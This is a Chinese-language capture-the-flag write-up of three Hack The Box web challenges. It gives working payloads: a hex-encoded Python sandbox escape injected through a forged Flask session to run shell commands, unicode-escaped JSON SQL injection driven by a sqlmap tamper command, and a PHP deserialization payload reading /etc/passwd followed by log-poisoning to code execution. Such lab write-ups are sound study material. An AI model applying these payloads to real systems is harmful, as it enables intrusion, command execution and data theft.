Contents
HTB-interdimensional internet&&Toxic&&wafwaf
interdimensional internet
这道题目在HTB里评分中,接近一半的人评分为烧脑,今天做的是第二个版本,第一个版本与第二个版本不同的是变量通过POST进行提交、同时没有过滤,可能评分烧脑的老哥们都是和我一样在第二个版本里面挣扎的吧
访问题目
看一下源码,发现有debug页面,访问获取到源码
from flask import Flask, Response, session, render_template
import functools, random, string, os, re
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'tlci0GhK8n5A18K1GTx6KPwfYjuuftWw')
def calc(recipe):
global garage
builtins, garage = {'__builtins__': None}, {}
try: exec(recipe, builtins, garage)
except: pass
def GFW(func): # Great Firewall of the observable universe and it's infinite timelines
@functools.wraps(func)
def federation(*args, **kwargs):
ingredient = session.get('ingredient', None)
measurements = session.get('measurements', None)
recipe = '%s = %s' % (ingredient, measurements)
if ingredient and measurements and len(recipe) >= 20:
regex = re.compile('|'.join(map(re.escape, ['[', '(', '_', '.'])))
matches = regex.findall(recipe)
if matches:
return render_template('index.html', blacklisted='Morty you dumbass: ' + ', '.join(set(matches)))
if len(recipe) > 300:
return func(*args, **kwargs) # ionic defibulizer can't handle more bytes than that
calc(recipe)
# return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs) # rick deterrent
ingredient = session['ingredient'] = ''.join(random.choice(string.lowercase) for _ in xrange(10))
measurements = session['measurements'] = ''.join(map(str, [random.randint(1, 69), random.choice(['+', '-', '*']), random.randint(1,69)]))
calc('%s = %s' % (ingredient, measurements))
return render_template('index.html', calculations=garage[ingredient])
return federation
@app.route('/')
@GFW
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)
理一下大概的一个题目逻辑,首先定义了两个函数,一个calc、一个GFW,calc主要是调用exec执行数字计算。GFW主要作为防火墙限制用户的输入,先看一下calc函数需要注意的点
题目设置了函数的全局命名空间,如果我们要对exec进行SSTI的话,要注意全局变量的问题,重点研究一下GFW的问题,思路比较清晰,可控变量在session中获取,我们可以通过伪造flask-session对两个变量进行控制,
然后如果要执行命令的话,还要绕过黑名单同时保证输入的payload小于300,首先本地调式一下
直接输出是没有问题的,测试执行命令
提示
“`__import__ not found“`,利用常规的SSTI-payload测试一下,输出一下子类集合,获取存在import和os的模块,先获取一下子类集合
我们知道catch_warnings子类内存在import和os等,调用一下该类
在调试过程中,发现globasl是无法用的,转个方向利用
“`__builtins__“`获取一下该类的内建函数
print ().__class__.__base__.__subclasses__()[60]()._module.__builtins__
导入一下函数,执行命令
成功执行,下一步就是绕过黑名单的问题
'[', '(', '_', '.'
过滤了以上字符,我们尝试用十六进制的形式进行绕过,这里有一个tips可以利用
\\x28在两次输出就可以绕过检测同时转成“(”,而直接传入“\x28”是会被题目检测为黑名单字符的,我们需要构造一下
可以看到用双引号包裹输出即为我们的payload,构造执行命令
exec "\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2esystem\\x28'whoami')"
下一步就是想法在题目中执行,因为可控变量是在session中获得的,直接解密一下题目中的session格式
构造我们的payload,因为我们需要对我们的payload进行加密,同时防止“\\”被转义掉,需要再为我们的双斜杠添加两个转义符,剩下还有一个问题就是我们的数据外带了,这里看了很多国外老哥的做法,有一位老哥的做法确实很新颖,我们可以通过session来攻击题目,同时可以通过session来携带数据,我们将命令执行的结果赋值给新的session变量,再对攻击后的形成的session解密读取即可获取到信息,所以我们需要修改一下攻击的payload,首先设置新的session变量,然后读取当前目录下文件赋值给新的session,因为要同时导入flask和os,所以设置一下变量等于导入模块
“`__import__“`
i={}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()
然后构造一下session
{'ingredient':b'exec\"i={}\\\\x2e\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fbase\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fsubclasses\\\\x5f\\\\x5f\\\\x28)\\\\x5b59]\\\\x28)\\\\x2e\\\\x5fmodule\\\\x2e\\\\x5f\\\\x5fbuiltins\\\\x5f\\\\x5f\\\\x5b\'\\\\x5f\\\\x5fimport\\\\x5f\\\\x5f\'];i\\\\x28\'flask\')\\\\x2esession\\\\x5b\'x\']=i\\\\x28\'os\')\\\\x2epopen\\\\x28\'ls\')\\\\x2eread\\\\x28)\"#', 'measurements': b'4+25'}
这里有一个问题,我们需要在ingredient参数里面注释掉后面的参数传输的数据,防止执行失败,伪造一下
替换题目中的session,再次刷新,发现session发生变化
解密一下查看
获取到flag文件的名称,尝试读一下,直接模糊匹配一下
i={}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('cat tota*').read()
继续构造一下session
{'ingredient':b'exec \"i={}\\\\x2e\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fbase\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fsubclasses\\\\x5f\\\\x5f\\\\x28)\\\\x5b59]\\\\x28)\\\\x2e\\\\x5fmodule\\\\x2e\\\\x5f\\\\x5fbuiltins\\\\x5f\\\\x5f\\\\x5b\'\\\\x5f\\\\x5fimport\\\\x5f\\\\x5f\'];i\\\\x28\'flask\')\\\\x2esession\\\\x5b\'x\']=i\\\\x28\'os\')\\\\x2epopen\\\\x28\'cat totally*\')\\\\x2eread\\\\x28)\"#', 'measurements': b'4+25'}
仍加密一下session,替换cookie,访问页面,获取到变化的session,解密session成功获取到了flag,完结
wafwaf
分析一下源码
<?php error_reporting(0);
require 'config.php';
class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
die(highlight_file(__FILE__, 1));
}
?>
发现返回的内容是json_decode(),所以我们猜测传输的内容应该是JSON格式的,我们可以构造输入
发现被检测输出了,尝试unicode编码进行注入
成功绕过题目的检测,那么思路就比较清楚,JSON传输,然后unicode编码我们的payload
本来在想的是用python脚本跑,后来在论坛上有人讨论可以用sqlmap的tamper注入,去找一下sqlmap-tamper的一些信息
https://www.cnblogs.com/mark0/p/12349551.html
找一下相关的脚本
发现charunicodeescape,可以将我们的payload进行unicode编码后进行传输,首先将数据包保存为文件
POST / HTTP/1.1
Host: 138.68.148.149:32162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
{"user":"%u002a"}
执行命令
sqlmap -r 1.txt –tamper=charunicodeescape –technique=T –dbms=mysql –time-sec=2 –batch
依此获取表和列,最后获取flag
Toxic
今天新上的题目,还是很简单的,首先下载一下文件,里面是源码和dockerfile,先看文件
代码非常简单,题目会对我们的PHPSESSID进行base64解密后再进行反序列化,从而对指定的文件进行包含,我们直接构造一下读取/etc/passwd
<?php
class PageModel
{
public $file="/etc/passwd";
}
$a=new PageModel();
echo base64_encode(serialize($a));
?>
读取成功,尝试读取一下flag,发现返回的数据为空,读一下dockerfile,发现flag的文件名是随机生成的
所以尝试构造目录,在读supervisord.conf文件的时候发现启动服务的用户是root
那我们可以包含的就很多了,在nginx的配置文件中发现日志的存放地址
尝试包含一下日志文件
成功包含,由于题目用的是include()函数对文件进行包含,所以包含的文件都会被当作php代码执行,我们可以通过将shell文件写入日志中的方式,来执行命令,构造执行ls
成功执行命令,查看一下根目录文件
构造序列化,读取一下flag文件即可
<?php
class PageModel
{
public $file="/flag_Lc4VC";
}
$a=new PageModel();
echo base64_encode(serialize($a));
?>
//Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfTGM0VkMiO30=
Jhon says:
Hi bro, what is tools you use for replacing session cookies?
i have tried to replace but it doesnt change.
Thanks
Pdsdt says:
chrome plug-in EditThisCookie